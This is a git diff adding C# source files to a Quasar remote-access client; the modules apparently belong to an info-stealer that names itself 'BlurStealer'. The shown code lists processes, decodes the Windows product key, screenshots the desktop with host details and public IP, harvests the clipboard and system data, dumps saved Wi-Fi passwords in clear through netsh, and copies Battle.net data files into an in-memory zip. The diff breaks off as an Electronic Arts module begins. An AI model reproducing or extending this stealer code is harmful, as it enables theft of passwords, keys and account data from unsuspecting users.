b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ProcessDump.cs new file mode 100755 index 0000000..9d3e09c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ProcessDump.cs @@ -0,0 +1,43 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Device; + +public class ProcessDump : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + try + { + List list = ProcessWindows.GetProcInfos().ToList(); + if (list.Count == 0) + { + return; + } + int totalWidth = Math.Max("Name".Length, list.Max((ProcessWindows.ProcInfo p) => p.Name?.Length ?? 0)); + int totalWidth2 = Math.Max("PID".Length, list.Max((ProcessWindows.ProcInfo p) => p.Pid?.Length ?? 0)); + int totalWidth3 = Math.Max("Path".Length, list.Max((ProcessWindows.ProcInfo p) => p.Path?.Length ?? 0)); + int totalWidth4 = Math.Max("Mem".Length, list.Max((ProcessWindows.ProcInfo p) => p.Memory?.Length ?? 0)); + string text = "Name".PadRight(totalWidth) + " | " + "PID".PadRight(totalWidth2) + " | " + "Path".PadRight(totalWidth3) + " | " + "Mem".PadRight(totalWidth4); + string value = new string('-', text.Length); + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine(text); + stringBuilder.AppendLine(value); + int result; + foreach (ProcessWindows.ProcInfo item in from x in list + orderby x.Name ?? string.Empty, (!int.TryParse(x.Pid, out result)) ? int.MaxValue : result + select x) + { + stringBuilder.AppendLine((item.Name ?? "Unknown").PadRight(totalWidth) + " | " + (item.Pid ?? "Unknown").PadRight(totalWidth2) + " | " + (item.Path ?? "Unknown").PadRight(totalWidth3) + " | " + (item.Memory ?? "Unknown").PadRight(totalWidth4)); + } + zip.AddTextFile("ProcessList.txt", stringBuilder.ToString()); + } + catch + { + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ProductKey.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ProductKey.cs new file mode 100755 index 0000000..d1ba43e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ProductKey.cs @@ -0,0 +1,135 @@ +using System; +using System.Collections; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Device; + +public class ProductKey : ITarget +{ + private enum DigitalProductIdVersion + { + UpToWindows7, + Windows8AndUp + } + + public void Collect(InMemoryZip zip, Counter counter) + { + try + { + RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32); + object obj = registryKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")?.GetValue("DigitalProductId"); + if (obj != null) + { + byte[] digitalProductId = (byte[])obj; + registryKey.Close(); + bool flag = (Environment.OSVersion.Version.Major == 6 && Environment.OSVersion.Version.Minor >= 2) || Environment.OSVersion.Version.Major > 6; + string windowsProductKeyFromDigitalProductId = GetWindowsProductKeyFromDigitalProductId(digitalProductId, flag ? DigitalProductIdVersion.Windows8AndUp : DigitalProductIdVersion.UpToWindows7); + if (!string.IsNullOrEmpty(windowsProductKeyFromDigitalProductId)) + { + string text = (IsWindowsActivatedFast() ? "Activated ✅" : "Not Activated âŒ"); + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("=== Windows Product Key Info ==="); + stringBuilder.AppendLine("Status : " + text); + stringBuilder.AppendLine("Key : " + windowsProductKeyFromDigitalProductId); + stringBuilder.AppendLine("================================"); + zip.AddTextFile("ProductKey.txt", stringBuilder.ToString()); + } + } + } + catch + { + } + } + + private string DecodeProductKeyWin8AndUp(byte[] digitalProductId) + { + string text = string.Empty; + byte b = (byte)((digitalProductId[66] / 6) & 1); + digitalProductId[66] = (byte)((digitalProductId[66] & 0xF7) | ((b & 2) * 4)); + int num = 0; + for (int num2 = 24; num2 >= 0; num2--) + { + int num3 = 0; + for (int num4 = 14; num4 >= 0; num4--) + { + num3 *= 256; + num3 = digitalProductId[num4 + 52] + num3; + digitalProductId[num4 + 52] = (byte)(num3 / 24); + num3 %= 24; + num = num3; + } + text = "BCDFGHJKMPQRTVWXY2346789"[num3] + text; + } + string text2 = text.Substring(1, num); + string text3 = text.Substring(num + 1, text.Length - (num + 1)); + text = text2 + "N" + text3; + for (int i = 5; i < text.Length; i += 6) + { + text = text.Insert(i, "-"); + } + return text; + } + + private string DecodeProductKey(byte[] digitalProductId) + { + char[] array = new char[24] + { + 'B', 'C', 'D', 'F', 'G', 'H', 'J', 'K', 'M', 'P', + 'Q', 'R', 'T', 'V', 'W', 'X', 'Y', '2', '3', '4', + '6', '7', '8', '9' + }; + char[] array2 = new char[29]; + ArrayList arrayList = new ArrayList(); + for (int i = 52; i <= 67; i++) + { + arrayList.Add(digitalProductId[i]); + } + for (int num = 28; num >= 0; num--) + { + if ((num + 1) % 6 == 0) + { + array2[num] = '-'; + } + else + { + int num2 = 0; + for (int num3 = 14; num3 >= 0; num3--) + { + int num4 = (num2 << 8) | (byte)arrayList[num3]; + arrayList[num3] = (byte)(num4 / 24); + num2 = num4 % 24; + array2[num] = array[num2]; + } + } + } + return new string(array2); + } + + private string GetWindowsProductKeyFromDigitalProductId(byte[] digitalProductId, DigitalProductIdVersion digitalProductIdVersion) + { + if (digitalProductIdVersion != DigitalProductIdVersion.Windows8AndUp) + { + return DecodeProductKey(digitalProductId); + } + return DecodeProductKeyWin8AndUp(digitalProductId); + } + + public static bool IsWindowsActivatedFast() + { + try + { + using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform"); + if (registryKey != null) + { + object value = registryKey.GetValue("BackupProductKeyDefault"); + return value != null && value.ToString().Length > 0; + } + } + catch + { + } + return false; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ScreenShot.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ScreenShot.cs new file mode 100755 index 0000000..8e6acb0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ScreenShot.cs @@ -0,0 +1,177 @@ +using System; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Drawing.Imaging; +using System.Drawing.Text; +using System.IO; +using System.Windows.Forms; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Device; + +public class ScreenShot : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Rectangle bounds = Screen.PrimaryScreen.Bounds; + using Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format24bppRgb); + using Graphics graphics = Graphics.FromImage(bitmap); + IntPtr hdc = graphics.GetHdc(); + IntPtr windowDC = NativeMethods.GetWindowDC(NativeMethods.GetDesktopWindow()); + NativeMethods.BitBlt(hdc, 0, 0, bounds.Width, bounds.Height, windowDC, 0, 0, 13369376); + graphics.ReleaseHdc(hdc); + NativeMethods.ReleaseDC(NativeMethods.GetDesktopWindow(), windowDC); + graphics.SmoothingMode = SmoothingMode.AntiAlias; + graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; + RectangleF rectangleF = new RectangleF(0f, 0f, bounds.Width, bounds.Height); + StringFormat format = new StringFormat + { + Alignment = StringAlignment.Center, + LineAlignment = StringAlignment.Center + }; + float num = Math.Max(24f, (float)bounds.Width / 40f); + using (Font font = new Font("Segoe UI Black", num, FontStyle.Bold, GraphicsUnit.Pixel)) + { + using GraphicsPath graphicsPath = new GraphicsPath(); + graphicsPath.AddString("", font.FontFamily, (int)font.Style, font.Size, rectangleF, format); + int num2 = 10; + for (int num3 = num2; num3 >= 1; num3--) + { + int alpha = (int)(30.0 * (1.0 - (double)num3 / (double)num2)) + 8; + using Pen pen = new Pen(width: num / 18f * (float)num3, color: Color.FromArgb(alpha, 0, 0, 0)); + pen.LineJoin = LineJoin.Round; + graphics.DrawPath(pen, graphicsPath); + } + using (LinearGradientBrush linearGradientBrush = new LinearGradientBrush(rectangleF, Color.Black, Color.FromArgb(255, 30, 30, 30), LinearGradientMode.Horizontal)) + { + ColorBlend colorBlend = new ColorBlend(); + colorBlend.Colors = new Color[4] + { + Color.Black, + Color.FromArgb(255, 20, 20, 20), + Color.FromArgb(255, 10, 10, 10), + Color.Black + }; + colorBlend.Positions = new float[4] { 0f, 0.45f, 0.75f, 1f }; + linearGradientBrush.InterpolationColors = colorBlend; + using PathGradientBrush pathGradientBrush = new PathGradientBrush(graphicsPath); + pathGradientBrush.CenterColor = Color.FromArgb(220, 60, 60, 60); + pathGradientBrush.SurroundColors = new Color[1] { Color.FromArgb(0, 0, 0, 0) }; + pathGradientBrush.CenterPoint = new PointF(rectangleF.Width * 0.5f, rectangleF.Height * 0.45f); + graphics.FillPath(linearGradientBrush, graphicsPath); + graphics.FillPath(pathGradientBrush, graphicsPath); + } + using (Pen pen2 = new Pen(Color.FromArgb(220, 80, 80, 80), Math.Max(2f, num / 28f))) + { + pen2.LineJoin = LineJoin.Round; + graphics.DrawPath(pen2, graphicsPath); + } + PointF[] array = new PointF[5] + { + new PointF(rectangleF.Width * 0.22f, rectangleF.Height * 0.38f), + new PointF(rectangleF.Width * 0.33f, rectangleF.Height * 0.52f), + new PointF(rectangleF.Width * 0.68f, rectangleF.Height * 0.4f), + new PointF(rectangleF.Width * 0.6f, rectangleF.Height * 0.6f), + new PointF(rectangleF.Width * 0.5f, rectangleF.Height * 0.3f) + }; + for (int i = 0; i < array.Length; i++) + { + PointF pointF = array[i]; + float num4 = Math.Max(2f, num / 28f); + using (SolidBrush brush = new SolidBrush(Color.FromArgb(230, 255, 255, 255))) + { + graphics.FillEllipse(brush, pointF.X - num4 / 2f, pointF.Y - num4 / 2f, num4, num4); + } + using SolidBrush brush2 = new SolidBrush(Color.FromArgb(80, 0, 0, 0)); + graphics.FillEllipse(brush2, pointF.X - num4 * 2f, pointF.Y - num4 * 2f, num4 * 4f, num4 * 4f); + } + } + string fileName = Process.GetCurrentProcess().MainModule.FileName; + string[] array2 = new string[12] + { + "Machine: " + Environment.MachineName, + "User: " + Environment.UserName, + $"Time: {DateTimeOffset.Now:yyyy-MM-dd HH:mm:ss zzz}", + $".NET: {Environment.Version}", + "CPU: " + CpuInfo.GetName(), + $"CPU Cores: {CpuInfo.GetLogicalCores()}", + "OS Product: " + WindowsInfo.GetProductName(), + "OS Build: " + WindowsInfo.GetBuildNumber(), + "OS Arch: " + WindowsInfo.GetArchitecture(), + "Public ip: " + IpApi.GetPublicIp(), + "Build Name: " + Path.GetFileName(Path.GetDirectoryName(fileName)) + "\\" + Path.GetFileName(fileName), + "" + }; + float num5 = Math.Max(12f, (float)bounds.Width / 120f); + using (Font font2 = new Font("Segoe UI", num5, FontStyle.Regular, GraphicsUnit.Pixel)) + { + float num6 = Math.Max(8f, num5 * 0.6f); + float num7 = 0f; + float num8 = 0f; + string[] array3 = array2; + foreach (string text in array3) + { + SizeF sizeF = graphics.MeasureString(text, font2); + if (sizeF.Width > num7) + { + num7 = sizeF.Width; + } + if (sizeF.Height > num8) + { + num8 = sizeF.Height; + } + } + float width = num7 + num6 * 2f; + float num9 = (float)array2.Length * num8 + num6 * 2f; + RectangleF rect = new RectangleF(12f, (float)bounds.Height - num9 - 12f, width, num9); + using (SolidBrush brush3 = new SolidBrush(Color.FromArgb(180, 6, 6, 10))) + { + using Pen pen3 = new Pen(Color.FromArgb(220, 60, 60, 80), 1f); + graphics.FillRectangle(brush3, rect); + graphics.DrawRectangle(pen3, rect.X, rect.Y, rect.Width, rect.Height); + } + float num10 = rect.X + num6; + float num11 = rect.Y + num6; + using SolidBrush brush4 = new SolidBrush(Color.FromArgb(160, 0, 0, 0)); + using SolidBrush brush5 = new SolidBrush(Color.FromArgb(240, 245, 250, 255)); + array3 = array2; + foreach (string s in array3) + { + graphics.DrawString(s, font2, brush4, new PointF(num10 + 1f, num11 + 1f)); + graphics.DrawString(s, font2, brush5, new PointF(num10, num11)); + num11 += num8; + } + } + using MemoryStream memoryStream = new MemoryStream(); + ImageCodecInfo imageCodecInfo = null; + ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); + for (int j = 0; j < imageEncoders.Length; j++) + { + if (string.Equals(imageEncoders[j].MimeType, "image/jpeg", StringComparison.OrdinalIgnoreCase)) + { + imageCodecInfo = imageEncoders[j]; + break; + } + } + if (imageCodecInfo != null) + { + Encoder quality = Encoder.Quality; + EncoderParameters encoderParameters = new EncoderParameters(1); + encoderParameters.Param[0] = new EncoderParameter(quality, 90L); + bitmap.Save(memoryStream, imageCodecInfo, encoderParameters); + } + else + { + bitmap.Save(memoryStream, ImageFormat.Jpeg); + } + byte[] array4 = memoryStream.ToArray(); + if (array4 != null && array4.Length != 0) + { + string entryPath = "screenshot.jpg"; + zip.AddFile(entryPath, array4); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/SystemInfo.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/SystemInfo.cs new file mode 100755 index 0000000..d3fad33 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/SystemInfo.cs @@ -0,0 +1,311 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Net.NetworkInformation; +using System.Net.Sockets; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Intelix.Helper; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Device; + +internal class SystemInfo : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + try + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("BlurStealer"); + stringBuilder.AppendLine(" "); + Task task = Task.Run(() => BuildUserSection()); + Task task2 = Task.Run(() => BuildNetworkSection()); + Task task3 = Task.Run(() => BuildSystemSection()); + Task task4 = Task.Run(() => BuildDrivesSection()); + Task task5 = Task.Run(() => BuildGpuSection()); + Task task6 = Task.Run(() => BuildBasicSection()); + Task.WaitAll(task, task2, task3, task4, task5, task6); + StringBuilder stringBuilder2 = new StringBuilder(); + stringBuilder2.Append(stringBuilder); + stringBuilder2.AppendLine(task.Result).AppendLine(); + stringBuilder2.AppendLine(task2.Result).AppendLine(); + stringBuilder2.AppendLine(task3.Result).AppendLine(); + stringBuilder2.AppendLine(task4.Result).AppendLine(); + stringBuilder2.AppendLine(task5.Result).AppendLine(); + stringBuilder2.AppendLine(task6.Result); + zip.AddTextFile("Information.txt", stringBuilder2.ToString()); + } + catch + { + } + } + + private static string BuildUserSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[User Info]"); + try + { + stringBuilder.AppendLine("User: " + Environment.UserName); + stringBuilder.AppendLine("Machine: " + Environment.MachineName); + stringBuilder.AppendLine($"Now: {DateTime.Now:yyyy-MM-dd HH:mm:ss}"); + } + catch + { + stringBuilder.AppendLine("User/System fields unavailable"); + } + try + { + string text = InputLanguage.CurrentInputLanguage?.Culture?.TwoLetterISOLanguageName ?? "unknown"; + stringBuilder.AppendLine("Input ISO: " + text); + } + catch + { + stringBuilder.AppendLine("Input ISO: unknown"); + } + stringBuilder.AppendLine("Hwid: " + HwidGenerator.GetHwid()); + stringBuilder.AppendLine("Clipboard: " + GetClipboardTextNoTimeout()); + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildNetworkSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[Network]"); + stringBuilder.AppendLine("External IP: " + IpApi.GetPublicIp()); + string text = "unavailable"; + string text2 = "unavailable"; + try + { + NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); + foreach (NetworkInterface networkInterface in allNetworkInterfaces) + { + if (networkInterface.OperationalStatus != OperationalStatus.Up || networkInterface.NetworkInterfaceType == NetworkInterfaceType.Loopback) + { + continue; + } + IPInterfaceProperties iPProperties = networkInterface.GetIPProperties(); + foreach (UnicastIPAddressInformation unicastAddress in iPProperties.UnicastAddresses) + { + if (unicastAddress.Address.AddressFamily == AddressFamily.InterNetwork) + { + text = unicastAddress.Address.ToString(); + break; + } + } + foreach (GatewayIPAddressInformation gatewayAddress in iPProperties.GatewayAddresses) + { + if (gatewayAddress.Address != null && gatewayAddress.Address.AddressFamily == AddressFamily.InterNetwork) + { + text2 = gatewayAddress.Address.ToString(); + break; + } + } + if (text != "unavailable" && text2 != "unavailable") + { + break; + } + } + } + catch + { + } + stringBuilder.AppendLine("Internal IP: " + text); + stringBuilder.AppendLine("Default Gateway: " + text2); + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildSystemSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[System]"); + try + { + stringBuilder.AppendLine("OS Product: " + WindowsInfo.GetProductName()); + stringBuilder.AppendLine("OS Build: " + WindowsInfo.GetBuildNumber()); + stringBuilder.AppendLine("OS Arch: " + WindowsInfo.GetArchitecture()); + } + catch + { + stringBuilder.AppendLine("OS: unavailable"); + } + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"); + string text = (registryKey?.GetValue("ProcessorNameString") as string) ?? (registryKey?.GetValue("VendorIdentifier") as string) ?? "Unknown"; + stringBuilder.AppendLine("CPU Name: " + text); + stringBuilder.AppendLine($"Logical Cores: {Environment.ProcessorCount}"); + } + catch + { + stringBuilder.AppendLine("CPU: unavailable"); + } + try + { + NativeMethods.MEMORYSTATUSEX lpBuffer = new NativeMethods.MEMORYSTATUSEX + { + dwLength = (uint)Marshal.SizeOf(typeof(NativeMethods.MEMORYSTATUSEX)) + }; + if (NativeMethods.GlobalMemoryStatusEx(ref lpBuffer)) + { + ulong num = lpBuffer.ullTotalPhys / 1024 / 1024; + ulong num2 = lpBuffer.ullAvailPhys / 1024 / 1024; + stringBuilder.AppendLine($"RAM Total (MB): {num}"); + stringBuilder.AppendLine($"RAM Available (MB): {num2}"); + } + else + { + stringBuilder.AppendLine("RAM: unavailable"); + } + } + catch + { + stringBuilder.AppendLine("RAM: unavailable"); + } + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildDrivesSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[Drives]"); + try + { + List list = (from d in DriveInfo.GetDrives() + where d.IsReady + select d).Select(delegate(DriveInfo d) + { + long num = d.TotalSize / 1024 / 1024 / 1024; + long num2 = d.TotalFreeSpace / 1024 / 1024 / 1024; + return $"{d.Name.TrimEnd('\\')} {d.DriveType} FS:{d.DriveFormat} Size:{num}GB Free:{num2}GB"; + }).ToList(); + if (list.Any()) + { + foreach (string item in list) + { + stringBuilder.AppendLine(item); + } + } + else + { + stringBuilder.AppendLine("No ready drives"); + } + } + catch + { + stringBuilder.AppendLine("Drives: unavailable"); + } + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildGpuSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[GPU]"); + try + { + List gpuNames = GetGpuNames(); + if (gpuNames.Any()) + { + foreach (string item in gpuNames) + { + stringBuilder.AppendLine(item); + } + } + else + { + stringBuilder.AppendLine("None"); + } + } + catch + { + stringBuilder.AppendLine("GPUs: unavailable"); + } + return stringBuilder.ToString().TrimEnd(); + } + + private static string BuildBasicSection() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("[Basic]"); + try + { + stringBuilder.AppendLine("User Domain: " + Environment.UserDomainName); + } + catch + { + stringBuilder.AppendLine("User Domain: unavailable"); + } + try + { + stringBuilder.AppendLine($"CLR Version: {Environment.Version}"); + } + catch + { + stringBuilder.AppendLine("CLR Version: unavailable"); + } + return stringBuilder.ToString().TrimEnd(); + } + + private static string GetClipboardTextNoTimeout() + { + string result = string.Empty; + try + { + Thread thread = new Thread((ThreadStart)delegate + { + try + { + if (Clipboard.ContainsText()) + { + result = Clipboard.GetText(); + } + } + catch + { + } + }); + thread.SetApartmentState(ApartmentState.STA); + thread.IsBackground = true; + thread.Start(); + thread.Join(); + } + catch + { + } + return result ?? string.Empty; + } + + private static List GetGpuNames() + { + List list = new List(); + try + { + uint num = 0u; + NativeMethods.DISPLAY_DEVICE lpDisplayDevice = default(NativeMethods.DISPLAY_DEVICE); + lpDisplayDevice.cb = Marshal.SizeOf(lpDisplayDevice); + while (NativeMethods.EnumDisplayDevices(null, num, ref lpDisplayDevice, 0u)) + { + if (!string.IsNullOrWhiteSpace(lpDisplayDevice.DeviceString)) + { + list.Add(lpDisplayDevice.DeviceString.Trim()); + } + num++; + lpDisplayDevice = new NativeMethods.DISPLAY_DEVICE + { + cb = Marshal.SizeOf(typeof(NativeMethods.DISPLAY_DEVICE)) + }; + } + } + catch + { + } + return list.Distinct().ToList(); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/WifiKey.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/WifiKey.cs new file mode 100755 index 0000000..8207a55 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/WifiKey.cs @@ -0,0 +1,262 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using System.Xml.Linq; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Device; + +public class WifiKey : ITarget +{ + private class WifiInfo + { + public string Profile; + + public string Key; + + public string Authentication; + + public string Cipher; + } + + public void Collect(InMemoryZip zip, Counter counter) + { + WifiInfo[] array = TryExportAndParseProfiles() ?? FallbackParseProfiles(); + if (array != null && array.Length != 0) + { + int num = Math.Max("Profile".Length, MaxLength(array, (WifiInfo r) => r.Profile)); + int num2 = Math.Max("Key".Length, MaxLength(array, (WifiInfo r) => r.Key)); + int num3 = Math.Max("Authentication".Length, MaxLength(array, (WifiInfo r) => r.Authentication)); + int num4 = Math.Max("Cipher".Length, MaxLength(array, (WifiInfo r) => r.Cipher)); + List list = new List(); + list.Add("Profile".PadRight(num) + " | " + "Key".PadRight(num2) + " | " + "Authentication".PadRight(num3) + " | " + "Cipher".PadRight(num4)); + list.Add(new string('-', num + num2 + num3 + num4 + 9)); + List list2 = list; + WifiInfo[] array2 = array; + foreach (WifiInfo wifiInfo in array2) + { + string text = (string.IsNullOrEmpty(wifiInfo.Profile) ? "N/A" : wifiInfo.Profile); + string text2 = (string.IsNullOrEmpty(wifiInfo.Key) ? "Not found" : wifiInfo.Key); + string text3 = (string.IsNullOrEmpty(wifiInfo.Authentication) ? "Not found" : wifiInfo.Authentication); + string text4 = (string.IsNullOrEmpty(wifiInfo.Cipher) ? "Not found" : wifiInfo.Cipher); + list2.Add(text.PadRight(num) + " | " + text2.PadRight(num2) + " | " + text3.PadRight(num3) + " | " + text4.PadRight(num4)); + } + zip.AddTextFile("WifiKeys.txt", string.Join("\n", list2)); + } + } + + private int MaxLength(WifiInfo[] arr, Func selector) + { + if (arr == null || arr.Length == 0) + { + return 0; + } + int num = 0; + for (int i = 0; i < arr.Length; i++) + { + string text = selector(arr[i]) ?? ""; + if (text.Length > num) + { + num = text.Length; + } + } + return num; + } + + private WifiInfo[] TryExportAndParseProfiles() + { + string text = Path.Combine(Path.GetTempPath(), "IntelixWifiExport_" + Guid.NewGuid().ToString("N")); + try + { + Directory.CreateDirectory(text); + } + catch + { + return null; + } + try + { + using (Process process = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "netsh", + Arguments = "wlan export profile key=clear folder=\"" + text + "\"", + UseShellExecute = false, + RedirectStandardOutput = false, + CreateNoWindow = true + } + }) + { + process.Start(); + process.WaitForExit(5000); + } + string[] array = Directory.EnumerateFiles(text, "*.xml").ToArray(); + if (array.Length == 0) + { + return null; + } + List list = new List(array.Length); + string[] array2 = array; + foreach (string text2 in array2) + { + try + { + XDocument xDocument = XDocument.Load(text2); + string text3 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "name", StringComparison.OrdinalIgnoreCase) && e.Parent != null && string.Equals(e.Parent.Name.LocalName, "SSID", StringComparison.OrdinalIgnoreCase))?.Value; + if (string.IsNullOrEmpty(text3)) + { + text3 = Path.GetFileNameWithoutExtension(text2); + } + string text4 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "keyMaterial", StringComparison.OrdinalIgnoreCase))?.Value; + string text5 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "authentication", StringComparison.OrdinalIgnoreCase))?.Value; + string text6 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "encryption", StringComparison.OrdinalIgnoreCase))?.Value; + list.Add(new WifiInfo + { + Profile = (text3 ?? "N/A"), + Key = (string.IsNullOrEmpty(text4) ? "Not found" : text4), + Authentication = (string.IsNullOrEmpty(text5) ? "Not found" : text5), + Cipher = (string.IsNullOrEmpty(text6) ? "Not found" : text6) + }); + } + catch + { + } + } + return list.ToArray(); + } + catch + { + return null; + } + finally + { + try + { + if (Directory.Exists(text)) + { + Directory.Delete(text, recursive: true); + } + } + catch + { + } + } + } + + private WifiInfo[] FallbackParseProfiles() + { + string[] profiles = Profiles(); + if (profiles == null || profiles.Length == 0) + { + return new WifiInfo[0]; + } + WifiInfo[] results = new WifiInfo[profiles.Length]; + Parallel.For(0, profiles.Length, delegate(int i) + { + string text = profiles[i]; + try + { + using Process process = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "netsh", + Arguments = "wlan show profile name=\"" + text + "\" key=clear", + UseShellExecute = false, + RedirectStandardOutput = true, + CreateNoWindow = true, + StandardOutputEncoding = Encoding.UTF8 + } + }; + process.Start(); + string input = process.StandardOutput.ReadToEnd(); + process.WaitForExit(); + string match = GetMatch(input, "Key Content\\s*:\\s*(.+)"); + string match2 = GetMatch(input, "Authentication\\s*:\\s*(.+)"); + string match3 = GetMatch(input, "Cipher\\s*:\\s*(.+)"); + results[i] = new WifiInfo + { + Profile = text, + Key = (string.IsNullOrEmpty(match) ? "Not found" : match), + Authentication = (string.IsNullOrEmpty(match2) ? "Not found" : match2), + Cipher = (string.IsNullOrEmpty(match3) ? "Not found" : match3) + }; + } + catch + { + results[i] = new WifiInfo + { + Profile = text, + Key = "Error", + Authentication = "Error", + Cipher = "Error" + }; + } + }); + return results; + } + + private string[] Profiles() + { + string[] array2; + try + { + using Process process = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "netsh", + Arguments = "wlan show profiles", + UseShellExecute = false, + RedirectStandardOutput = true, + CreateNoWindow = true, + StandardOutputEncoding = Encoding.UTF8 + } + }; + process.Start(); + string text = process.StandardOutput.ReadToEnd(); + process.WaitForExit(); + string[] array = text.Split(new char[2] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries); + List list = new List(); + array2 = array; + foreach (string text2 in array2) + { + int num = text2.LastIndexOf(':'); + if (num >= 0 && num + 1 < text2.Length) + { + string text3 = text2.Substring(num + 1).Trim(); + if (!string.IsNullOrEmpty(text3)) + { + list.Add(text3); + } + } + } + array2 = list.ToArray(); + } + catch + { + array2 = new string[0]; + } + return array2; + } + + private string GetMatch(string input, string pattern) + { + if (string.IsNullOrEmpty(input)) + { + return string.Empty; + } + Match match = Regex.Match(input, pattern, RegexOptions.IgnoreCase | RegexOptions.Multiline); + if (!match.Success) + { + return string.Empty; + } + return match.Groups[1].Value.Trim(); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/BattleNet.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/BattleNet.cs new file mode 100755 index 0000000..4a6920c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/BattleNet.cs @@ -0,0 +1,45 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Games; + +public class BattleNet : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Battle.net"); + if (!Directory.Exists(path)) + { + return; + } + string[] obj = new string[2] { "*.db", "*.config" }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "BattleNet" + }; + string[] array = obj; + foreach (string searchPattern in array) + { + string[] files = Directory.GetFiles(path, searchPattern, SearchOption.AllDirectories); + foreach (string fileName in files) + { + try + { + FileInfo fileInfo = new FileInfo(fileName); + string text = Path.Combine(Path.Combine("BattleNet", (fileInfo.Directory?.Name == "Battle.net") ? "" : fileInfo.Directory?.Name), fileInfo.Name); + zip.AddFile(text, File.ReadAllBytes(fileInfo.FullName)); + counterApplications.Files.Add(fileInfo.FullName + " => " + text); + } + catch + { + } + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("BattleNet\\"); + counter.Games.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/ElectronicArts.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/ElectronicArts.cs new file mode 100755 index 0000000..0d2e568 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/ElectronicArts.cs @@ -0,0 +1,60 @@ +using System; 